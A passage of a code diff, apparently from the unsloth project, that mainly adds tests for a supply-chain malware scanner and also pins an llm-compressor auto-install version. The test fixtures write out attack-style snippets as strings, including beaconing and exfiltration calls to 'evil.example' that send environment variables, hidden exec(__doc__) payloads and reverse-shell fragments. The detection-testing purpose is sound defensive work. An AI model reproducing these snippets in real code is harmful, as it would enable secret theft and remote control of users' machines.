the finding... + old = "while True:\n time.sleep(60)\n requests.get('http://old.example/poll')\n" + new = "while True:\n time.sleep(60)\n requests.get('http://evil.example/c2')\n" + fo = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence(old, sp.RE_C2_POLLING), + ) + fn = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence(new, sp.RE_C2_POLLING), + ) + assert sp._finding_key(fo) != sp._finding_key(fn) + # ...while a benign line shift of the same loop stays stable. + shifted = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING), + ) + assert sp._finding_key(fo) == sp._finding_key(shifted) + + +def test_extract_evidence_bounds_pathological_multiline_span(): + # A greedy DOTALL span is capped to its head line plus a digest of the rest, + # so evidence stays bounded while still binding the full match. + big = "vmware\n" + "x\n" * 50 + "detect\n" + ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS) + assert "sha256:" in ev and ev.count("\n") <= 1 + + +def test_canon_evidence_keeps_duplicate_spans(): + # A second identical matched line in a new code path must change the key, so + # an appended duplicate payload occurrence is not deduped to the same hash. + one = " requests.post(url, data=env)" + base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}") + dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}") + assert sp._finding_key(base) != sp._finding_key(dup) + + +def test_canon_evidence_does_not_strip_inner_marker_from_raw_code(): + # Raw .pth evidence has no leading L: marker; an L:-looking substring + # inside the code must be kept, so changing the code before it reopens. + base = _mk( + sp.HIGH, + "p", + "p/x.pth", + ".pth has 1 executable import line(s)", + "import os; note='L7: same_suffix'", + ) + changed = _mk( + sp.HIGH, + "p", + "p/x.pth", + ".pth has 1 executable import line(s)", + "import urllib.request; note='L7: same_suffix'", + ) + assert sp._finding_key(base) != sp._finding_key(changed) + + +def test_capped_multiline_digest_is_line_shift_stable(): + # A span over the cap is digested from markerless code, so a pure line shift + # of the same span stays stable while a code change still reopens. + src = ( + "while True:\n" + + " x = 1\n" * 20 + + " time.sleep(60)\n requests.get('http://old.example/poll')\n" + ) + e1 = sp._extract_evidence(src, sp.RE_C2_POLLING) + e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING) + assert "sha256:" in e1 # span exceeded the cap + assert sp._evidence_hash(e1) == sp._evidence_hash(e2) + changed = src.replace("http://old.example/poll", "http://evil.example/c2") + assert sp._evidence_hash(e1) != sp._evidence_hash( + sp._extract_evidence(changed, sp.RE_C2_POLLING) + ) + + +def test_canon_evidence_strips_punctuation_label_marker(): + # A label with punctuation (network+exec:) must still be stripped, so the + # line number alone does not change the key. + a = "network+exec: L12: subprocess.run(['id'])" + b = "network+exec: L99: subprocess.run(['id'])" + assert sp._evidence_hash(a) == sp._evidence_hash(b) + + +def test_extract_evidence_binds_call_continuation_lines(): + # A multi-line network call binds its argument lines, so a changed URL on a + # continuation line reopens even though the line with the API name is unchanged. + old = "requests.post(\n 'http://old.example',\n data=env,\n)\n" + new = "requests.post(\n 'http://evil.example',\n data=env,\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert "old.example" in eo and "evil.example" in en + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_records_multiline_after_oneline(): + # A one-line C2 match no longer suppresses a later multi-line C2 loop: the + # appended cross-line construct is recorded too, so it cannot ride the key. + oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n" + appended = oneline + "while True:\n time.sleep(30)\n requests.get('http://evil/c2')\n" + eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING) + ea = sp._extract_evidence(appended, sp.RE_C2_POLLING) + assert "evil" in ea + assert sp._evidence_hash(eo) != sp._evidence_hash(ea) + + +def test_extract_evidence_giant_span_binds_full_interior(): + # A giant greedy DOTALL span bridging anchors across the whole file is bound by + # a digest of its full content (not just the outer anchors), so a cross-line + # payload inserted into the bridged interior between unchanged outer anchors + # reopens instead of riding the key. (Binding only head/tail would fail open on + # an interior insertion.) A pure line shift still stays stable. + gap = "\n".join(f" x = {i}" for i in range(70)) + base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n" + # interior insertion of a cross-line payload between the unchanged outer anchors + injected = base.replace(" x = 35", " x = 35\n sock.connect(evilhost)") + ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL) + ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL) + assert "sha256:" in ea # full interior bound by a digest + assert sp._evidence_hash(ea) != sp._evidence_hash(ei) # interior change reopens + shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL) + assert sp._evidence_hash(ea) == sp._evidence_hash(shifted) # pure shift stable + + +def test_extract_evidence_giant_span_appended_payload_reopens(): + # The anchor binding must reopen when an appended cross-line payload extends the + # bridged span past the cap: an existing one-line /tmp+subprocess finding plus a + # NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no + # single line so the per-line pass never binds them) moves the span's tail + # anchor, so the evidence changes instead of riding the unchanged key. + existing = "import os\n/tmp/x; subprocess.run(['id'])\n" + gap = "\n".join(f" pad{i} = {i}" for i in range(65)) + appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n" + base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC) + app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC) + assert sp._evidence_hash(base) != sp._evidence_hash(app) + # a pure line shift of the same payload does not reopen + shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC) + assert sp._evidence_hash(app) == sp._evidence_hash(shifted) + + +def test_hidden_payload_binds_visible_exec_trigger(): + # The hidden-payload finding binds the visible exec/eval line that makes the + # docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which + # now runs the same hidden network+exec payload) reopens instead of riding the + # key on the unchanged hidden text. + hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n' + benign = hidden + 'eval("1+1")\n' + armed = hidden + "exec(__doc__)\n" + + def key(src): + return [ + sp._finding_key(f) + for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p") + if "hidden network+exec" in f.check + ][0] + + assert key(benign) != key(armed) + + +def test_js_finding_pins_full_content_digest(): + # A JS finding pins the full file content digest, so a backtick template literal + # that closes the bracket span early cannot let later option/body lines change + # without reopening (the Python-string-aware extractor would otherwise omit + # them). Holds for small files too, not just large bundles. + old = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'OLD'})\n" + new = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'EVIL'})\n" + fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0] + fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0] + assert "bundle-sha256:" in fo.evidence + assert sp._finding_key(fo) != sp._finding_key(fn) + + +def test_extract_evidence_binds_moderate_appended_dotall_span(): + # A multi-line construct appended under a check that already has a one-line + # match is still recorded when it is not a giant whole-file bridge, so its + # payload reopens instead of riding the old one-line match. + one = "while True: time.sleep(60); requests.get('http://a/poll')\n" + gap = "\n".join(f" x = {i}" for i in range(20)) + old = one + "while True:\n" + gap + "\n requests.get('http://old/c2')\n" + new = one + "while True:\n" + gap + "\n requests.get('http://evil/c2')\n" + eo = sp._extract_evidence(old, sp.RE_C2_POLLING) + en = sp._extract_evidence(new, sp.RE_C2_POLLING) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_canon_evidence_reorder_reopens(): + # Reordering matched lines changes executable context, so the key reopens + # (the canon preserves discovery order rather than sorting). + a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()" + b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)" + assert sp._evidence_hash(a) != sp._evidence_hash(b) + + +def test_logical_line_end_ignores_brackets_in_strings(): + # A ) inside a string argument must not close the call early, so later + # argument lines still bind and a changed payload there reopens. + old = "requests.post('http://h/p)',\n data=secret_old,\n)\n" + new = "requests.post('http://h/p)',\n data=secret_new,\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert "data=secret_old" in eo + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_base64_exec_blob_finding_binds_every_blob(): + # The base64+exec+blob finding digests every blob, so appending a second + # encoded payload reopens even when the first blob and decode line are unchanged. + head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n" + old = head + new = head + "blob2 = '" + "B" * 220 + "'\n" + fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check] + fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_pth_large_blob_finding_binds_every_blob(): + # The .pth large-blob finding digests every blob, so appending a second + # encoded payload reopens rather than riding the unchanged first blob. + old = "import os\n" + "X" * 220 + "\n" + new = old + "Y" * 220 + "\n" + fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check] + fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_pth_unusually_large_finding_is_content_bound(): + # Two different payloads of equal size and import count must get different + # keys: the finding now pins the .pth content via a digest. + a = [ + f + for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p") + if f.check.startswith("Unusually large executable .pth") + ] + b = [ + f + for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p") + if f.check.startswith("Unusually large executable .pth") + ] + assert a and b + assert "sha256:" in a[0].evidence + assert sp._finding_key(a[0]) != sp._finding_key(b[0]) + + +def test_js_token_network_finding_binds_network_evidence(): + # The JS stealer combo records both the token AND the network call, so a + # changed exfil endpoint reopens (RE_NETWORK-recognized call used here). + old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n" + new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n" + fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check] + fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check] + assert fo and fn + assert "Network:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_embedded_pem_key_body_change_reopens(): + # The embedded-key evidence pins the full PEM block via a digest, so swapping + # the key body under the same BEGIN/END markers reopens the finding instead + # of riding the unchanged marker line. + head = "-----BEGIN RSA PRIVATE KEY-----\n" + tail = "\n-----END RSA PRIVATE KEY-----" + net = "\nrequests.get('http://c2.example')\n" + old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}" + new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}" + fo = [ + f + for f in sp.check_py_file(old, "p/k.py", "p") + if f.check.startswith("Embedded cryptographic key + network") + ] + fn = [ + f + for f in sp.check_py_file(new, "p/k.py", "p") + if f.check.startswith("Embedded cryptographic key + network") + ] + assert fo and fn + assert "sha256:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_shell_combos_bind_network_evidence(): + # Both shell combos record their network/exec side, so a changed endpoint + # reopens instead of riding the unchanged token or hook line. + old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n" + new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n" + to = [ + f + for f in sp.check_shell_file(old, "p/i.sh", "p") + if f.check == "Shell embeds credential regexes AND makes network calls" + ] + tn = [ + f + for f in sp.check_shell_file(new, "p/i.sh", "p") + if f.check == "Shell embeds credential regexes AND makes network calls" + ] + assert to and tn + assert sp._finding_key(to[0]) != sp._finding_key(tn[0]) + ho = "SessionStart hook installed\nrequests.get('http://old.example')\n" + hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n" + go = [ + f + for f in sp.check_shell_file(ho, "p/i.sh", "p") + if f.check.startswith("Shell installs developer-tool") + ] + gn = [ + f + for f in sp.check_shell_file(hn, "p/i.sh", "p") + if f.check.startswith("Shell installs developer-tool") + ] + assert go and gn + assert "Hook:" in go[0].evidence + assert sp._finding_key(go[0]) != sp._finding_key(gn[0]) + + +def test_hidden_network_exec_reopens_on_endpoint_change(): + # The hidden network+exec payload binds both the network and the exec signal, + # so changing the docstring exfil URL reopens the finding. + old = ( + '"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n' + 'os.system("sh -c id")\n"""\nexec(__doc__)\n' + ) + new = ( + '"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n' + 'os.system("sh -c id")\n"""\nexec(__doc__)\n' + ) + fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check] + fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_base64_exec_blob_combo_binds_blob_digest(): + # The blob may sit on a separate line from the decode call; the finding now + # digests it, so a changed payload reopens even with unchanged base64/exec. + b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n" + b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n" + f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check] + f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check] + assert f1 and f2 + assert "Blob: sha256:" in f1[0].evidence + assert sp._finding_key(f1[0]) != sp._finding_key(f2[0]) + + +def test_openssl_key_combo_binds_key_evidence(): + # openssl + embedded key with no network must bind the key, so a changed key + # reopens instead of riding the OpenSSL line alone. + o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n' + o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n' + g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check] + g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check] + assert g1 and g2 + assert "Key:" in g1[0].evidence + assert sp._finding_key(g1[0]) != sp._finding_key(g2[0]) + + +def test_anti_analysis_combo_binds_suspicious_side(): + # The anti-analysis combo records the network/exec side, so a changed exfil + # endpoint reopens instead of riding the unchanged sleep/trace line. + old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n" + new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n" + fo = [ + f + for f in sp.check_py_file(old, "p/x.py", "p") + if f.check == "Anti-analysis/sandbox evasion + suspicious behavior" + ] + fn = [ + f + for f in sp.check_py_file(new, "p/x.py", "p") + if f.check == "Anti-analysis/sandbox evasion + suspicious behavior" + ] + assert fo and fn + assert "Network:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_dns_exfil_combo_binds_other_side(): + # The DNS exfil combo records the co-occurring network side, so a changed + # endpoint reopens instead of riding the unchanged DNS line. + old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n" + new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n" + fo = [ + f + for f in sp.check_py_file(old, "p/d.py", "p") + if f.check == "DNS exfiltration / tunneling patterns" + ] + fn = [ + f + for f in sp.check_py_file(new, "p/d.py", "p") + if f.check == "DNS exfiltration / tunneling patterns" + ] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_large_js_bundle_finding_is_content_bound(): + # A large benign JS bundle yields a HIGH carrying a content digest, not empty + # evidence: two different bundles in the same size bucket get different keys, + # so a malicious bundle cannot ride a baselined empty-evidence entry. + big_a = "var x = 1;\n" * 20000 # ~200 KB, benign + big_b = big_a + "var exfil = 2;\n" # different content, same size bucket + ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check] + jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check] + assert ja and jb, "large JS bundle must produce a finding" + assert ja[0].evidence.startswith("sha256:") + assert sp._finding_key(ja[0]) != sp._finding_key(jb[0]) + + +def test_pth_large_blob_finding_is_content_bound(): + # The .pth base64-blob evidence pins the full blob via a digest, so a payload + # that keeps the first 120 chars but changes the tail reopens the finding. + head = "A" * 120 + a = [ + f + for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p") + if "base64-like blob" in f.check + ] + b = [ + f + for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p") + if "base64-like blob" in f.check + ] + assert a and b, "large .pth blob must produce a finding" + assert "sha256:" in a[0].evidence + assert sp._finding_key(a[0]) != sp._finding_key(b[0]) + + +def test_pth_import_lines_record_all_not_first_five(): + # All executable import lines are recorded, so swapping the sixth import for a + # malicious one (first five unchanged) still reopens the catch-all finding. + base = "".join(f"import mod{i}\n" for i in range(6)) + swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n" + fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check] + fs = [ + f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check + ] + assert fb and fs + assert sp._finding_key(fb[0]) != sp._finding_key(fs[0]) + + +def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys): + # A legacy baseline predating evidence_hash still loads (hash recomputed) but + # must WARN so the maintainer regenerates rather than degrade silently. + import json + + bl = tmp_path / "legacy.json" + bl.write_text( + json.dumps( + { + "version": 1, + "entries": [ + { + "package": "p", + "file": "p/x.py", + "check": "c", + "severity": sp.CRITICAL, + "evidence": "L5: while True:", + } + ], + } + ) + ) + keys = sp._load_baseline(str(bl)) + assert keys # still loaded + assert "lack evidence_hash" in capsys.readouterr().err + + def test_fstring_statement_is_not_blanked(): # A bare f-string evaluates at import, so it must stay scannable. src = "f\"{__import__('os').system('id')}\"\n" @@ -417,11 +1178,17 @@ def test_comment_only_network_exec_not_flagged(): def test_baseline_suppresses_listed_but_not_new_check(tmp_path): bl = tmp_path / "bl.json" - listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected") + listed = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L579: while True:", + ) sp._write_baseline(str(bl), [listed]) baseline = sp._load_baseline(str(bl)) - # Same (package, basename, check) -> suppressed. + # Same (package, path, check, matched code) -> suppressed. active, suppressed = sp._partition_baseline([listed], baseline) assert suppressed == [listed] and active == [] @@ -432,6 +1199,29 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path): active2, suppressed2 = sp._partition_baseline([new_kind], baseline) assert active2 == [new_kind] and suppressed2 == [] + # Same file + same check but CHANGED flagged code -> still active. A future + # malicious payload cannot ride a previously reviewed entry's suppression. + changed_code = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L579: while True: requests.get('http://c2.example/beacon')", + ) + active3, suppressed3 = sp._partition_baseline([changed_code], baseline) + assert active3 == [changed_code] and suppressed3 == [] + + # A benign line shift of the SAME code stays suppressed (no version churn). + shifted = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L640: while True:", + ) + active4, suppressed4 = sp._partition_baseline([shifted], baseline) + assert suppressed4 == [shifted] and active4 == [] + def test_write_baseline_roundtrip_only_crit_high(tmp_path): bl = tmp_path / "bl.json" @@ -451,6 +1241,72 @@ def test_load_baseline_missing_file_is_empty(): assert sp._load_baseline("/nonexistent/path/bl.json") == set() +def test_load_baseline_rejects_non_list_entries(tmp_path, capsys): + # A malformed baseline whose "entries" is not a list must warn and fail + # closed (empty), not raise TypeError when iterated. + import json + + bl = tmp_path / "bad_entries.json" + bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8") + assert sp._load_baseline(str(bl)) == set() + assert "entries is not a list" in capsys.readouterr().err + + +def test_committed_baseline_suppresses_known_but_not_a_new_payload(): + """End-to-end against the shipped allowlist: a reviewed benign finding stays + suppressed, but a NEW malicious payload in the same baselined file/check is + not (closes the supply-chain bypass where a future botocore/utils.py payload + rode the existing CRITICAL entry).""" + import json + + baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json" + entries = json.loads(baseline_path.read_text())["entries"] + target = next( + e + for e in entries + if e["package"] == "botocore" + and e["file"] == "botocore/utils.py" + and e["check"] == "Harvests environment variables/secrets AND makes network calls" + ) + baseline = sp._load_baseline(str(baseline_path)) + + # The exact reviewed finding is suppressed. + benign = _mk( + target["severity"], target["package"], target["file"], target["check"], target["evidence"] + ) + active, suppressed = sp._partition_baseline([benign], baseline) + assert suppressed == [benign] and active == [] + + # A future malicious version: same file, same check, new exfil code. Must + # remain ACTIVE so the enforcing gate (exit 1) still trips. + malicious = _mk( + target["severity"], + target["package"], + target["file"], + target["check"], + "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)", + ) + active2, suppressed2 = sp._partition_baseline([malicious], baseline) + assert active2 == [malicious] and suppressed2 == [] + + +def test_committed_baseline_entries_all_carry_evidence_hash(): + """Every shipped entry must pin an evidence_hash; an entry without one would + silently fall back to the coarse legacy match for that file/check.""" + import json + + baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json" + entries = json.loads(baseline_path.read_text())["entries"] + assert entries, "committed baseline should not be empty" + missing = [ + f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash") + ] + assert not missing, f"entries missing evidence_hash: {missing[:5]}" + # And each pinned hash matches a recompute from the stored evidence. + for e in entries: + assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"] + + # sdist fallback: cover sdist-only packages without building. All offline # -- PyPI JSON / download are mocked. diff --git a/unsloth/save.py b/unsloth/save.py index 76bc6aa733..226ca5fed8 100644 --- a/unsloth/save.py +++ b/unsloth/save.py @@ -1363,11 +1363,18 @@ def install_python_non_blocking(packages = []): return run_installer +# Bound the first-use auto-install so no unvetted release is pulled: not an inflated "0.999.0", nor +# a crafted higher in-range patch like "0.12.999" from a mirror. Cap to the exact vetted patch and +# bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below). +_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0" + + def install_llm_compressor(): """Import llm-compressor, installing it on first use for FP8/FP4 export. - Pins the current torch + transformers so pip does not upgrade them (a plain install pulls - transformers>=5 and breaks Unsloth). Returns (oneshot, QuantizationModifier). + Installs a version-pinned llm-compressor, pinning the current torch + transformers so pip does + not upgrade them. Set UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the auto-install. + Returns (oneshot, QuantizationModifier). """ try: from llmcompressor import oneshot @@ -1376,9 +1383,24 @@ def install_llm_compressor(): except Exception: pass + # Opt-out for locked-down / air-gapped setups: forbid the auto-install, require a manual one. + if os.environ.get("UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL", "0").lower() not in ( + "0", + "", + "false", + "no", + ): + raise RuntimeError( + "Unsloth: llm-compressor is required for FP8/FP4 compressed export but is not " + "installed, and automatic installation is disabled via " + "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL. Install it manually with:\n" + f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" + "(pin torch and transformers to your current versions to avoid upgrading them)." + ) + print( "Unsloth: Installing llm-compressor for FP8/FP4 export " - "(pinning your torch + transformers so they are not upgraded). " + f"({_LLM_COMPRESSOR_SPEC}; pinning your torch + transformers so they are not upgraded). " "This can take a few minutes..." ) import importlib @@ -1401,13 +1423,13 @@ def install_llm_compressor(): import importlib.util if importlib.util.find_spec("pip") is not None: - cmd = [sys.executable, "-m", "pip", "install", "llmcompressor"] + cmd = [sys.executable, "-m", "pip", "install", _LLM_COMPRESSOR_SPEC] elif shutil.which("uv") is not None: - cmd = ["uv", "pip", "install", "--python", sys.executable, "llmcompressor"] + cmd = ["uv", "pip", "install", "--python", sys.executable, _LLM_COMPRESSOR_SPEC] else: raise RuntimeError( "Unsloth: cannot install llm-compressor because this environment has neither pip nor " - f"uv. Install it manually with:\n uv pip install --python {sys.executable} llmcompressor\n" + f"uv. Install it manually with:\n uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" "(pin torch and transformers to your current versions to avoid upgrading them)." ) cpath = None @@ -1421,8 +1443,8 @@ def install_llm_compressor(): except subprocess.CalledProcessError as e: raise RuntimeError( "Unsloth: Failed to install llm-compressor. Install it manually with:\n" - f" uv pip install --python {sys.executable} llmcompressor\n" - f"or, if pip is available:\n {sys.executable} -m pip install llmcompressor\n" + f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" + f"or, if pip is available:\n {sys.executable} -m pip install '{_LLM_COMPRESSOR_SPEC}'\n" "(pin torch and transformers to your current versions to avoid upgrading them).\n" f"Underlying error: {e}" ) diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py index a483aeeb6c..d3bfbbf96b 100644 --- a/unsloth_cli/commands/chat.py +++ b/unsloth_cli/commands/chat.py @@ -71,7 +71,7 @@ def _get_base_load_in_4bit(model_config) -> bool: if not adapter_cfg_path.exists(): return True - with open(adapter_cfg_path) as f: + with open(adapter_cfg_path, encoding = "utf-8") as f: adapter_cfg = json.load(f) training_method = adapter_cfg.get("unsloth_training_method") diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py index 7a5080bd10..80641a17c3 100644 --- a/unsloth_cli/commands/studio.py +++ b/unsloth_cli/commands/studio.py @@ -461,7 +461,7 @@ def _write_auth_secret(path: Path, secret: str) -> None: os.chmod(tmp_path, 0o600) except OSError: pass - with os.fdopen(fd, "w") as f: + with os.fdopen(fd, "w", encoding = "utf-8") as f: fd = -1 f.write(secret) os.replace(tmp_path, path)